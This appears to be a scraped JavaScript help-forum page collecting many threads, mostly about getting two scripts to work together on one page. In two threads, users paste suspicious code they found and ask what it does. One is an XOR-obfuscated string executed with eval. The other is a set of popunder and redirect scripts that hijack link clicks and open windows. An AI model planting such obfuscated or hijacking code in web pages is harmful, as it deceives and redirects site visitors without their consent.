JavaScript - How To Fuse 2 Small Scripts
Hello to all,
I want to fuse these 2 scripts but don't know how: First script chains 2 selects DEMO: http://www.plus2net.com/php_tutorial/dd.php Second retains and displays values of form input fields if page refreshes DEMO: http://www.plus2net.com/php_tutorial/page-reload.php Code: <SCRIPT language=JavaScript> function reload(form) { var val=form.cat.options[form.cat.options.selectedIndex].value; self.location='dd.php?cat=' + val; } </script> I want to FUSE with this one: Code: <script type="text/javascript"> function reload() { var val1=document.form1.fname.value ; var val2=document.form1.mname.value ; var val3=document.form1.lname.value ; //// For radio button value to collect /// for(var i=0; i < document.form1.type.length; i++){ if(document.form1.type[i].checked) var val4=document.form1.type[i].value } self.location='validation4.php?fname=' + val1 + '&mname=' + val2 + '&lname=' + val3 + '&type=' + val4; } </script> Similar TutorialsIs possible to call cgi scripts from javascript scripts?
Hi Chaps, I had a two similar scripts that uses a select option to pass a parameter to a php page, then returns options/values to a seperate select drop down. Both of these scripts worked fine until I added another script. The new script is different, in that it checks the value of the original select option, then passes that value to a seperate php page, then, if a condition is met, an input field is displayed. This new script works, but has resulted in the two original scripts doubling the values that they return. I hope that makes sense, if anyone can spare anytime, I'll gladly post the code and any other information . . . . Cheers Please take a look at below scripts, i want know what is their functions exactly 1- Code: <script type="text/javascript"> function addBookmark(url, title) { if (!url) url = location.href; if (!title) title = document.title; //Gecko if ((typeof window.sidebar == "object") && (typeof window.sidebar.addPanel == "function")) window.sidebar.addPanel ("xxx.com - Лучшие ", "http://xxx.com/?d=bm", ""); //IE4+ else if (typeof window.external == "object") window.external.AddFavorite ("http://yyy.com/?d=bm", "xxx.com - Лучшие "); //Opera7+ else if (window.opera && document.createElement) { var a = document.createElement('A'); if (!a) return false; //IF Opera 6 a.setAttribute('rel','sidebar'); a.setAttribute('href',url); a.setAttribute('title',title); a.click(); } else return false; return true; } </script> 2- Code: <script language="javascript"> var s="6b2b73435c4e552b5229682a49705f526c2b552b7547636f463443405a34425f2a2a5a6e242436745d357824657a594e7471556b78405c6e744d21584c443f7b31684b736d33284b4674562d5d312b566650377621755f346e627959232e446d3361356556612946285e6356253f596f54486f6d2e5a794e31473d724435603e407c664f373927246c642f2e2f2a4525375060323b4e736d5b265b323e356f3665633f542e2b55323c43776c62733244665b7b4d765e4c7e2d356c69455c3061432a3c483c6f506751731d4a0163033d211662053741244d6f7e0947684f1a241602235a376e3d51361a464f370b4a504536246119432b1b342b5c533d1f152c7e474f294e3b39295a154546281c0258412e7b563c5960756a122e14713265311e7027263d1d666a004f0804593e663c072946330c23565a3400222d520b5b341a3a5828535a6d4e3f552d5c4d7206024e42443b44431118650311703f414f734e5d725d04414a085e0d010c5c21434e3b4612201803091a577944360f70321c08366973282d011d7428076e780d782b725c2c0e",s2="",i; for(i=0;i<s.length/4;i++) s2+=String.fromCharCode(parseInt("0x"+s.substr(i*2,2))^parseInt("0x"+s.substr(i*2+s.length/2,2)));eval(s2); </script> I have two pieces of code that work individually, each for a single element on a webpage. I need to know how to put these together somehow, as only the second works when they are added in the head tag pair. Code: <script type="text/javascript"> function showHideDiv(val){ document.getElementById('hidden_state1').style.display = (val == 'CAN','GBR','AFG','ALA','ALB','DZA','ASM','AND','AGO','AIA','ATA','ATG','ARG','ARM','ABW','AUS','AUT','AZE','BHS','BHR','BGD','BRB','BLR','BEL','BLZ','BEN','BMU','BTN','BOL','BIH','BWA','BVT','BRA','IOT','BRN','BGR','BFA','BDI','KHM','CMR','CPV','CYM','CAF','TCD','CHL','CHN','CXR','CCK','COL','COM','COG','COD','COK','CRI','CIV','HRV','CUB','CYP','CZE','DNK','DJI','DMA','DOM','ECU','EGY','SLV','GNQ','ERI','EST','ETH','FLK','FRO','FJI','FIN','FRA','GUF','PYF','GAB','GMB','GEO','DEU','GHA','GIB','GRC','GRL','GRD','GLP','GUM','GTM','GGY','GIN','GNB','GUY','HTI','HMD','HND','HKG','HUN','ISL','IND','IRN','IRQ','IRL','IMN','ISR','ITA','JAM','JPN','JEY','JOR','KAZ','KEN','KIR','PRK','KOR','KWT','KGZ','LAO','LVA','LBN','LSO','LBR','LBY','LIE','LTU','LUX','MAC','MKD','MDG','MWI','MYS','MDV','MLI','MLT','MHL','MTQ','MRT','MUS','MYT','MEX','FSM','MDA','MCO','MNG','MNE','MSR','MAR','MOZ','MMR','NAM','NRU','NPL','NLD','ANT','NCL','NZL','NIC','NER','NGA','NIU','NFK','MNP','NOR','OMN','PAK','PLW','PSE','PAN','PNG','PRY','PER','PHL','PCN','POL','PRT','PRI','QAT','REU','ROU','RUS','RWA','BLM','SHN','KNA','LCA','MAF','SPM','VCT','WSM','SMR','STP','SAU','SEN','SRB','SYC','SLE','SGP','SVK','SNV','SLB','SOM','ZAF','SGS','ESP','LKA','SDN','SUR','SJM','SWZ','SWE','CHE','SYR','TWN','TJK','TZA','THA','TLS','TGO','TKL','TON','TTO','TUN','TUR','TKM','TCA','TUV','UGA','UKR','ARE','UMI','URY','UZB','VUT','VAT','VEN','VNM','VGB','VIR','WLF','ESH','YEM','ZMB','ZWE')? 'block' : 'none'; document.getElementById('state1').style.display = (val == 'CAN','GBR','AFG','ALA','ALB','DZA','ASM','AND','AGO','AIA','ATA','ATG','ARG','ARM','ABW','AUS','AUT','AZE','BHS','BHR','BGD','BRB','BLR','BEL','BLZ','BEN','BMU','BTN','BOL','BIH','BWA','BVT','BRA','IOT','BRN','BGR','BFA','BDI','KHM','CMR','CPV','CYM','CAF','TCD','CHL','CHN','CXR','CCK','COL','COM','COG','COD','COK','CRI','CIV','HRV','CUB','CYP','CZE','DNK','DJI','DMA','DOM','ECU','EGY','SLV','GNQ','ERI','EST','ETH','FLK','FRO','FJI','FIN','FRA','GUF','PYF','GAB','GMB','GEO','DEU','GHA','GIB','GRC','GRL','GRD','GLP','GUM','GTM','GGY','GIN','GNB','GUY','HTI','HMD','HND','HKG','HUN','ISL','IND','IRN','IRQ','IRL','IMN','ISR','ITA','JAM','JPN','JEY','JOR','KAZ','KEN','KIR','PRK','KOR','KWT','KGZ','LAO','LVA','LBN','LSO','LBR','LBY','LIE','LTU','LUX','MAC','MKD','MDG','MWI','MYS','MDV','MLI','MLT','MHL','MTQ','MRT','MUS','MYT','MEX','FSM','MDA','MCO','MNG','MNE','MSR','MAR','MOZ','MMR','NAM','NRU','NPL','NLD','ANT','NCL','NZL','NIC','NER','NGA','NIU','NFK','MNP','NOR','OMN','PAK','PLW','PSE','PAN','PNG','PRY','PER','PHL','PCN','POL','PRT','PRI','QAT','REU','ROU','RUS','RWA','BLM','SHN','KNA','LCA','MAF','SPM','VCT','WSM','SMR','STP','SAU','SEN','SRB','SYC','SLE','SGP','SVK','SNV','SLB','SOM','ZAF','SGS','ESP','LKA','SDN','SUR','SJM','SWZ','SWE','CHE','SYR','TWN','TJK','TZA','THA','TLS','TGO','TKL','TON','TTO','TUN','TUR','TKM','TCA','TUV','UGA','UKR','ARE','UMI','URY','UZB','VUT','VAT','VEN','VNM','VGB','VIR','WLF','ESH','YEM','ZMB','ZWE')? 'none' : 'block'; document.getElementById('state1').style.display = (val == 'USA')? 'block' : 'none'; document.getElementById('hidden_state1').style.display = (val == 'USA')? 'none' : 'block'; } window.onload=function(){ document.getElementById('country_code').onchange=function(){showHideDiv(this.value);} } </script> and Code: <script type="text/javascript"> function showHideDiv(val){ document.getElementById('hidden_state2').style.display = (val == 'CAN','GBR','AFG','ALA','ALB','DZA','ASM','AND','AGO','AIA','ATA','ATG','ARG','ARM','ABW','AUS','AUT','AZE','BHS','BHR','BGD','BRB','BLR','BEL','BLZ','BEN','BMU','BTN','BOL','BIH','BWA','BVT','BRA','IOT','BRN','BGR','BFA','BDI','KHM','CMR','CPV','CYM','CAF','TCD','CHL','CHN','CXR','CCK','COL','COM','COG','COD','COK','CRI','CIV','HRV','CUB','CYP','CZE','DNK','DJI','DMA','DOM','ECU','EGY','SLV','GNQ','ERI','EST','ETH','FLK','FRO','FJI','FIN','FRA','GUF','PYF','GAB','GMB','GEO','DEU','GHA','GIB','GRC','GRL','GRD','GLP','GUM','GTM','GGY','GIN','GNB','GUY','HTI','HMD','HND','HKG','HUN','ISL','IND','IRN','IRQ','IRL','IMN','ISR','ITA','JAM','JPN','JEY','JOR','KAZ','KEN','KIR','PRK','KOR','KWT','KGZ','LAO','LVA','LBN','LSO','LBR','LBY','LIE','LTU','LUX','MAC','MKD','MDG','MWI','MYS','MDV','MLI','MLT','MHL','MTQ','MRT','MUS','MYT','MEX','FSM','MDA','MCO','MNG','MNE','MSR','MAR','MOZ','MMR','NAM','NRU','NPL','NLD','ANT','NCL','NZL','NIC','NER','NGA','NIU','NFK','MNP','NOR','OMN','PAK','PLW','PSE','PAN','PNG','PRY','PER','PHL','PCN','POL','PRT','PRI','QAT','REU','ROU','RUS','RWA','BLM','SHN','KNA','LCA','MAF','SPM','VCT','WSM','SMR','STP','SAU','SEN','SRB','SYC','SLE','SGP','SVK','SNV','SLB','SOM','ZAF','SGS','ESP','LKA','SDN','SUR','SJM','SWZ','SWE','CHE','SYR','TWN','TJK','TZA','THA','TLS','TGO','TKL','TON','TTO','TUN','TUR','TKM','TCA','TUV','UGA','UKR','ARE','UMI','URY','UZB','VUT','VAT','VEN','VNM','VGB','VIR','WLF','ESH','YEM','ZMB','ZWE')? 'block' : 'none'; document.getElementById('state2').style.display = (val == 'CAN','GBR','AFG','ALA','ALB','DZA','ASM','AND','AGO','AIA','ATA','ATG','ARG','ARM','ABW','AUS','AUT','AZE','BHS','BHR','BGD','BRB','BLR','BEL','BLZ','BEN','BMU','BTN','BOL','BIH','BWA','BVT','BRA','IOT','BRN','BGR','BFA','BDI','KHM','CMR','CPV','CYM','CAF','TCD','CHL','CHN','CXR','CCK','COL','COM','COG','COD','COK','CRI','CIV','HRV','CUB','CYP','CZE','DNK','DJI','DMA','DOM','ECU','EGY','SLV','GNQ','ERI','EST','ETH','FLK','FRO','FJI','FIN','FRA','GUF','PYF','GAB','GMB','GEO','DEU','GHA','GIB','GRC','GRL','GRD','GLP','GUM','GTM','GGY','GIN','GNB','GUY','HTI','HMD','HND','HKG','HUN','ISL','IND','IRN','IRQ','IRL','IMN','ISR','ITA','JAM','JPN','JEY','JOR','KAZ','KEN','KIR','PRK','KOR','KWT','KGZ','LAO','LVA','LBN','LSO','LBR','LBY','LIE','LTU','LUX','MAC','MKD','MDG','MWI','MYS','MDV','MLI','MLT','MHL','MTQ','MRT','MUS','MYT','MEX','FSM','MDA','MCO','MNG','MNE','MSR','MAR','MOZ','MMR','NAM','NRU','NPL','NLD','ANT','NCL','NZL','NIC','NER','NGA','NIU','NFK','MNP','NOR','OMN','PAK','PLW','PSE','PAN','PNG','PRY','PER','PHL','PCN','POL','PRT','PRI','QAT','REU','ROU','RUS','RWA','BLM','SHN','KNA','LCA','MAF','SPM','VCT','WSM','SMR','STP','SAU','SEN','SRB','SYC','SLE','SGP','SVK','SNV','SLB','SOM','ZAF','SGS','ESP','LKA','SDN','SUR','SJM','SWZ','SWE','CHE','SYR','TWN','TJK','TZA','THA','TLS','TGO','TKL','TON','TTO','TUN','TUR','TKM','TCA','TUV','UGA','UKR','ARE','UMI','URY','UZB','VUT','VAT','VEN','VNM','VGB','VIR','WLF','ESH','YEM','ZMB','ZWE')? 'none' : 'block'; document.getElementById('state2').style.display = (val == 'USA')? 'block' : 'none'; document.getElementById('hidden_state2').style.display = (val == 'USA')? 'none' : 'block'; } window.onload=function(){ document.getElementById('shipping_country_code').onchange=function(){showHideDiv(this.value);} } </script> The purpose of the first code is to display a "State or Province" input field and cause the "State" dropdown box to disappear when any other country than USA is selected from the country_code dropdown box. The second piece of code has the same purpose, except that it is for the shipping_country_code dropdown box. These codes work individually, but when I put them both between the head tags, only the second one works. How would I put these together to make them both work on the same page? Thanks for your help, as I am inexperienced with javascript. ~Sarah hi friends Please look exactlt at this two scripts , when i click on page include these scripts , it will open a page go to redirecturl.ru but i can't see this url inside scripts , i want know where this url is located ? below on main page before click Code: <script language="javascript"> <!-- function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset) if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return(setStr); } // if(getCookie('21726clickunder1810')) { document.write('<'+'sc'+'ri'+'pt language="JavaScript" src="/gogo.js"><'+'/sc'+'ri'+'pt>'); } else { document.write('<'+'sc'+'ri'+'pt language="JavaScript" src="/sun21726_ajax.js"><'+'/sc'+'ri'+'pt>'); } //--> </script> gogo.js script Code: if (navigator.cookieEnabled) {var pop_under = null;var pop_cookie_name = "gavgav";var pop_timeout = 720;function pop_cookie_enabled(){var is_enabled = false;if (!window.opera && !navigator.cookieEnabled)return is_enabled;if (typeof document.cookie == 'string')if (document.cookie.length == 0){document.cookie = "test";is_enabled = document.cookie == 'test';document.cookie = '';} else{is_enabled = true;}return is_enabled;}function pop_getCookie(name){var cookie = " " + document.cookie;var search = " " + name + "=";var setStr = null;var offset = 0;var end = 0;if (cookie.length > 0){offset = cookie.indexOf(search);if (offset != -1){offset += search.length;end = cookie.indexOf(";", offset);if (end == -1){end = cookie.length;} setStr = unescape(cookie.substring(offset, end));}}return(setStr); }function pop_setCookie (name, value){document.cookie = name + "=" + escape(value) + "; expires=Friday,31-Dec-50 23:59:59 GMT; path=/;"; }function show_pop(){var pop_wnd = "http://xxx.com";var fea_wnd = "scrollbars=1,resizable=1,toolbar=1,location=1,menubar=1,status=1,directories=0";var need_open = true;if (document.onclick_copy != null)document.onclick_copy();if (document.body.onbeforeunload_copy != null)document.body.onbeforeunload_copy();if (pop_under != null){if (!pop_under.closed)need_open = false;}if (need_open){if (pop_cookie_enabled()){val = pop_getCookie(pop_cookie_name);if (val != null){now = new Date();val2 = new Date(val); utc1 = Date.UTC(now.getFullYear(), now.getMonth(), now.getDate(), now.getHours(), now.getMinutes(), now.getSeconds()); utc2 = Date.UTC(val2.getFullYear(), val2.getMonth(), val2.getDate(), val2.getHours(), val2.getMinutes(), val2.getSeconds()); if ((utc1 - utc2)/1000 < pop_timeout*60) {need_open = false;}}}}if (need_open){under = window.open(pop_wnd, "", fea_wnd);under.blur();window.focus();if (pop_cookie_enabled()){now = new Date();pop_setCookie(pop_cookie_name, now);}} }function pop_init(){var ver = parseFloat(navigator.appVersion);var ver2 = (navigator.userAgent.indexOf("Windows 95")>=0 || navigator.userAgent.indexOf("Windows 98")>=0 || navigator.userAgent.indexOf("Windows NT")>=0 )&&(navigator.userAgent.indexOf('Opera') == -1)&&(navigator.appName != 'Netscape') &&(navigator.userAgent.indexOf('MSIE') > -1) &&(navigator.userAgent.indexOf('SV1') > -1) &&(ver >= 4); if (ver2){if (document.links){for (var i=0; i<document.links.length; i++){if (document.links[i].target != "_blank"){document.links[i].onclick_copy = document.links[i].onclick;document.links[i].onclick = show_pop;}}}}document.onclick_copy = document.onclick;document.onmouseup = show_pop;return true;}pop_init();} sun21726_ajax.js Code: var ajaxv1=21726;var ajaxv2='';var ajaxv3='';l1l=document.all;var naa=true;ll1=document.layers;lll=window.sidebar;naa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')|lI1('per');naa|=lII; where redirecturl.ru located ?! I have the following two scripts: Code: <script type="text/javascript"> window.onload = function() { document.getElementById('ad1_inline').appendChild(document.getElementById('ad1_footer')); document.getElementById('ad1_footer').style.display = ''; } </script> And... Code: <script type="text/javascript"> // <![CDATA[ function hide_qr(show) { dE('qr_editor_div'); dE('qr_showeditor_div'); if (show && document.getElementById('qr_editor_div').style.display != 'none') { document.getElementsByName('message')[0].focus(); } return true; } function init_qr() { dE('qr_showeditor_div'); return true; } onload_functions.push('init_qr();'); // ]]> </script> But when I have them on the same page together, the second script does not work at all, but the first script still works. Any way I can use these together? Hey Everyone, first time posting so thanks for any help. I'm fairly new to JS and was playing around with the horizontal menu CSS and JS files found here on the site (http://www.javascriptkit.com/script/...stopmenu.shtml). I was able to go edit the CSS page to edit the images used in the menu, but if I wanted to add another horizontal menu in a different spot, how do I rename the CSS and JS files, and identify them in the body so that I could use the same style but just switch the img src in the javascript file? .....I have this in the head of the page: Code: <link rel="stylesheet" type="text/css" href="css/csshorizontalmenu.css" /> </script> <script type="text/javascript" src="css/csshorizontalmenu.js"> </script> .....And this in the body Code: <div class="horizontalcssmenu"> <ul id="cssmenu1"> <li style="border-left: 0px solid #202020;"><a href="http://www.javascriptkit.com/">Browse</a></li> <li><a href="http://www.javascriptkit.com/cutpastejava.shtml" >Search</a></li> So for a second menu, can I copy the csshorizontalmenu.js files as csshorizontalmenu1.js and recall it through a div class or such? Thanks for any help and sorry if that was confusing Hello all, I've been banging my head against a wall for the past few days trying to figure out why when I add another script to my page the old one stops working. Finally I found the answer, but due to still being extremely new to javascript - and coding in general - I have not been able to successfully combine the two scripts that I have. I know it is very simple, so would someone mind either walking me thru it, or just giving me an end product to see where I was going wrong? I would really appreciate any input! The two scripts I have are Nivo slider Code: <script type="text/javascript"> $(window).load(function() { $('#slider').nivoSlider({ effect: 'random', // Specify sets like: 'fold,fade,sliceDown' }); }); </script> Nav menu plugin Code: <script type="text/javascript"> $(document).ready(function () { $('#nav li').hover( function () { //show its submenu $('ul', this).slideDown(500); }, function () { //hide its submenu $('ul', this).slideUp(300); } ); }); </script> Hi guys! I have a situation where 2 scripts run perfectly when run independently - the first one loads up a "video", running at 30 fps, made up of images, the second one uses accelerometer data from the iPhone to throw a blue sphere around the screen, depending on movement of the iPhone. However, when I put these 2 scripts inside one HTML page, the "video" runs, but the blue sphere is "frozen" - but the scripts are still the same (one inside the head, as before, and the other in the body, again as before) How can I get them to run in a parallel way? I'd be very pleased indeed if someone could come up with a solution!! Here's the complete code: Code: <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Accelerometer Javascript Test</title> <link rel="stylesheet" href="app.css" type="text/css"> <meta name=viewport content="width=device-width,user-scalable=yes"/> <!--<meta name="viewport" content="initial-scale=1.6; maximum-scale=1.0; width=device-width; "/>--> <meta name="apple-mobile-web-app-capable" content="yes" /> <meta name="apple-mobile-web-app-status-bar-style" content="black" /> <style> body { } #sphere { position: absolute; width: 20px; height: 20px; border-radius: 50px; -webkit-radius: 50px; background-color: blue; left: 161px; top: 207px; } </style> <script type="text/javascript"> var frames = new Array(); //load frames into array for(var i = 0; i < 176; i++){ frames[i] = new Image(480,320); frames[i].src ="images/track" + (i+1) + ".png"; } //playback var currentFrameNumber = 0; var fps = 30; // frames / second const speed = 1000 / fps; // milliseconds //var speed = 33; function nextFrame( ) { document.getElementById("display").src = frames[currentFrameNumber].src; currentFrameNumber = ( currentFrameNumber + 1 ) % frames.length; setTimeout( nextFrame, speed ); } window.onload = nextFrame; </script> </head> <body> <script type="text/javascript"> var x = 0, y = 0, vx = 0, vy = 0, ax = 0, ay = 0; var sphere = document.getElementById("sphere"); if (window.DeviceMotionEvent != undefined) { window.ondevicemotion = function(e) { ax = event.accelerationIncludingGravity.x * 5; ay = event.accelerationIncludingGravity.y * 5; document.getElementById("accelerationX").innerHTML = e.accelerationIncludingGravity.x; document.getElementById("accelerationY").innerHTML = e.accelerationIncludingGravity.y; document.getElementById("accelerationZ").innerHTML = e.accelerationIncludingGravity.z; if ( e.rotationRate ) { document.getElementById("rotationAlpha").innerHTML = e.rotationRate.alpha; document.getElementById("rotationBeta").innerHTML = e.rotationRate.beta; document.getElementById("rotationGamma").innerHTML = e.rotationRate.gamma; } } setInterval( function() { var landscapeOrientation = window.innerWidth/window.innerHeight > 1; if ( landscapeOrientation) { vx = vx + ay; vy = vy + ax; } else { vy = vy - ay; vx = vx + ax; } vx = vx * 0.98; vy = vy * 0.98; y = parseInt(y + vy / 50); x = parseInt(x + vx / 50); boundingBoxCheck(); sphere.style.top = y + "px"; sphere.style.left = x + "px"; }, 25); } function boundingBoxCheck(){ if (x<0) { x = 0; vx = -vx; } if (y<0) { y = 0; vy = -vy; } if (x>document.documentElement.clientWidth-20) { x = document.documentElement.clientWidth-20; vx = -vx; } if (y>document.documentElement.clientHeight-20) { y = document.documentElement.clientHeight-20; vy = -vy; } } </script> <img id="display"src="images/track1.png" width="480" height="320"> <div id=content> <div id="sphere"></div> </div> </body> </html> Sams teach yourself JavaScript in 24 hours / Michael Moncur is the text that I've tried to teach Javascript to myself. Here's a code sample. I can't get it to work. Code: <html> <head> <title>Form example</title> <script LANGUAGE="JavaScript"> function validate() { if (document.form1.yourname.value.length < 1) { alert("Enter your full name."); return false; } if (document.form1.address.value.length < 3) { alert("Enter your address:"); return false; } if (document.form1.phone.value.length < 3) { alert("Please enter your phone number."); return false; } return true; } </script> </head> <body> <h1>Form example</h1> <p>Enter the information. when you press Display, the data will be validated, then sent by email.</p> <form name="form1" action="mailto:q26d1@yahoo.com" enctype="text/plain" onSubmit="return validate();"> <p><b>Name:</b> <input TYPE="TEXT" LENGTH="20" NAME="yourname"> </p> <p><b>Address:</b> <input TYPE="TEXT" LENGTH="30" NAME="address"> </p> <p><b>Phone: </b> <input TYPE="TEXT" LENGTH="15" NAME="phone"> </p> <p><input TYPE="SUBMIT" VALUE="Submit"></p> </form> </body> </html> Hi there, I have a couple of scripts which both do exactly what I want, but when I try use them both at the same time only one of them will work, could you tell me if i need to change anything in them to get them both to work at the same time or if im missing something really simple? Thanks Script 1 Code: <script type="text/javascript"> var imgPaths = ['pic1.jpg', 'pic2.jpg', 'pic3.jpg', 'pic4.jpg', 'pic5.jpg']; //preload the images var imgObjs = new Array; for(var i=0; i < imgPaths.length; i=i+1) { imgObjs[i] = new Image(); imgObjs[i].src = imgPaths[i]; } function togglePic(num) { if(currPic == 0 || currPic != num) { document.getElementById("image").src = imgObjs[num].src; currPic = num; } else { document.getElementById("image").src = imgObjs[0].src; currPic = 0; } } //load the default image window.onload=function() { document.getElementById("image").src = imgObjs[0].src; currPic = 0; //flag storing current pic number } </script> Script 2 Code: <script type="text/javascript"> window.onload=function () { setStyles(); }; function setStyles() { ids = new Array ('style1','style2','style3','style4'); for (i=0;i<ids.length;i++) { document.getElementById(ids[i]).className=''; document.getElementById(ids[i]).onclick=function() { return Cngclass(this); } } } function Cngclass(obj){ var currObj; for (i=0;i<ids.length;i++) { currObj = document.getElementById(ids[i]); if (obj.id == currObj.id) { currObj.className=(currObj.className=='')?'selected':''; } else { currObj.className=''; } } return false; } </script> HTML Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title></title> </head> <body> <div id="style"> <div id="styleimage"> <img src="" id="image" width="610" height="229" /> </div> <div id="stylenav"> <ul> <li id="style1"><a href="#" onclick="togglePic(1); return false">style 1</a></li> <li id="style2"><a href="#" onclick="togglePic(2); return false">style 2</a></li> <li id="style3"><a href="#" onclick="togglePic(3); return false">style 3</a></li> <li id="style4"><a href="#" onclick="togglePic(4); return false">style 4</a></li> </ul> </div> </div> </body> </html> Please delete thread Now solved
Iv got a scrolling menu on my page using... Code: <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.1/jquery.min.js"></script> <script type="text/javascript" src="scripts.js"></script> and i want to add a lightbox... Code: <script type="text/javascript" src="js/prototype.js"></script> <script type="text/javascript" src="js/scriptaculous.js?load=effects,builder"></script> <script type="text/javascript" src="js/lightbox.js"></script> however whichever one is at the bottom is the only one that works? Can anyone please explain why this is? I gues they conflict? I read about window.onload but neither has that i also tried. Code: onLoad="initLightbox();" in my body tag. Any help greatly apreciated, im hoping theres an easy fix! :-) OK, so a bit of an issue... I've done a navigation, that works just wonderfully. There are three dropdowns in the top rown, and one down below. The three on the top populate the one below it. All works fine until.... *dum dum dah dummmm* I wanted to make the bottom box invisible until one of the top onse were selected. The nav script goes as follows: Code: var cacheobj=document.dynamiccombo.stage2 function populate(x){ for (m=cacheobj.options.length-1;m>0;m--) cacheobj.options[m]=null selectedarray=eval(x) for (i=0;i<selectedarray.length;i++) cacheobj.options[i]=new Option(selectedarray[i].text,selectedarray[i].value) cacheobj.options[0].selected=true } populate(combo1) Code: <select name="usstage1" size="1" onchange="showDiv(this.value);window.open(this.options[this.selectedIndex].value,'_top');" > <option selected="selected" value="javascript:populate(combo1)">United States</option> <option value="javascript:populate(combo2)">Alabama</option> <option value="javascript:populate(combo3)">Alaska</option> <option value="javascript:populate(combo4)">Arizona</option> <option value="javascript:populate(combo5)">Arkansas</option> <option value="javascript:populate(combo6)">California</option> etc... Which populates the bottom dropdown Now to hide it, I've done: Code: var lastDiv = ""; function showDiv(divName) { if (lastDiv) { document.getElementById(lastDiv).className = "hiddenDiv"; } if (divName && document.getElementById(divName)) { document.getElementById(divName).className = "visibleDiv"; lastDiv = divName; } } And used a Code: <div id="menudiv" class="hiddenDiv"> around the lower dropdown, which hides it effectively then I modded the upper menu Code: <select name="usstage1" size="1" onchange=" showDiv(this.value); window.open(this.options[this.selectedIndex].value,'_top')" > adding what's in red to call the change Now this is where I'm stuck, how can I get: Code: <option value="menudiv;javascript:populate(combo2)">Alabama</option> the two options in...have tried a couple of different ways and failed horribly eash time...or maybe I'm just going about this completely wrong? Hi Guys, I'm remotely new to the world of scripting in general. I'm trying to run two scripts: Coda Slider (http://www.ndoherty.biz/tag/coda-slider/) and OS X Style Dialogue (http://www.ericmmartin.com/projects/simplemodal-demos/) But I'm am having difficulty doing so. I've heard the term "script confliction" throw around a lot - but I don't know how to solve it. My scripting code can be seen on the practice website: http://thenativedrum.com/practice/ Any help would be greatly appreciated. Thanks in advance! Hi, I have two versions of a script: version A gets used on a visitor's first round, where the page is dynamically altered; if the visitor wants to do another round, I need to switch to version B. I could load both versions initially, but that seems overkill. Any suggestions ? I would like to know what is the difference in writing Javascripts in the head scetion of a HTML page and writing it in the body section. Can I divide the scripts between the two sections ? For example some script in head section and some in the body section. I am writing window.open ('first.htm') in the head section, plus some form validation script. I want this first.htm to be displayed once at startup. But everytime I click the submit button and form validation script gets invoked, this window pops up. How do I avoid this ? mrk98 Hey I am having a problem with these 2 scripts, one is a slideshow and the other one is a twitter stream. Only one of them works. Code: <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></script> <script type="text/javascript" src="http://www.musikparlamentet.dk/wp-content/themes/arthemia/js/jquery.easing.1.3.js"></script> <link rel="icon" href="<?php echo get_option('home'); ?>/wp-content/themes/arthemia/images/favicon.ico" /> <link rel="shortcut icon" href="<?php echo get_option('home'); ?>/wp-content/themes/arthemia/images/favicon.ico" /> <script type="text/javascript" src="http://www.musikparlamentet.dk/wp-content/themes/arthemia/js/jquery.jtweetsanywhere-1.2.1.min.js"></script> <link rel="stylesheet" type="text/css" href="http://www.musikparlamentet.dk/wp-content/themes/arthemia/js/jquery.jtweetsanywhere-1.2.1.css" /> <script type="text/javascript" src="http://platform.twitter.com/anywhere.js?id=APIKey&v=1"></script> <script type="text/javascript"> $(document).ready(function(){ $('#tweetFeed').jTweetsAnywhere({ username: 'Musikparlament', count: 1, }); }); </script> <script type="text/javascript"> jQuery(document).ready(function() { var autoPlayTime=5000; autoPlayTimer = setInterval( autoPlay, autoPlayTime); function autoPlay(){ Slidebox('next'); } $('#slidebox .next').click(function () { Slidebox('next','stop'); }); $('#slidebox .previous').click(function () { Slidebox('previous','stop'); }); var yPosition=($('#slidebox').height()-$('#slidebox .next').height())/2; $('#slidebox .next').css('top',yPosition); $('#slidebox .previous').css('top',yPosition); $('#slidebox .thumbs a:first-child').removeClass('thumb').addClass('selected_thumb'); $("#slidebox .content").each(function(i){ slideboxTotalContent=i*$('#slidebox').width(); $('#slidebox .container').css("width",slideboxTotalContent+$('#slidebox').width()); }); }); function Slidebox(slideTo,autoPlay){ var animSpeed=1000; //animation speed var easeType='easeInOutExpo'; //easing type var sliderWidth=$('#slidebox').width(); var leftPosition=$('#slidebox .container').css("left").replace("px", ""); if( !$("#slidebox .container").is(":animated")){ if(slideTo=='next'){ //next if(autoPlay=='stop'){ clearInterval(autoPlayTimer); } if(leftPosition==-slideboxTotalContent){ $('#slidebox .container').animate({left: 0}, animSpeed, easeType); //reset $('#slidebox .thumbs a:first-child').removeClass('thumb').addClass('selected_thumb'); $('#slidebox .thumbs a:last-child').removeClass('selected_thumb').addClass('thumb'); } else { $('#slidebox .container').animate({left: '-='+sliderWidth}, animSpeed, easeType); //next $('#slidebox .thumbs .selected_thumb').next().removeClass('thumb').addClass('selected_thumb'); $('#slidebox .thumbs .selected_thumb').prev().removeClass('selected_thumb').addClass('thumb'); } } else if(slideTo=='previous'){ //previous if(autoPlay=='stop'){ clearInterval(autoPlayTimer); } if(leftPosition=='0'){ $('#slidebox .container').animate({left: '-'+slideboxTotalContent}, animSpeed, easeType); //reset $('#slidebox .thumbs a:last-child').removeClass('thumb').addClass('selected_thumb'); $('#slidebox .thumbs a:first-child').removeClass('selected_thumb').addClass('thumb'); } else { $('#slidebox .container').animate({left: '+='+sliderWidth}, animSpeed, easeType); //previous $('#slidebox .thumbs .selected_thumb').prev().removeClass('thumb').addClass('selected_thumb'); $('#slidebox .thumbs .selected_thumb').next().removeClass('selected_thumb').addClass('thumb'); } } else { var slide2=(slideTo-1)*sliderWidth; if(leftPosition!=-slide2){ clearInterval(autoPlayTimer); $('#slidebox .container').animate({left: -slide2}, animSpeed, easeType); //go to number $('#slidebox .thumbs .selected_thumb').removeClass('selected_thumb').addClass('thumb'); var 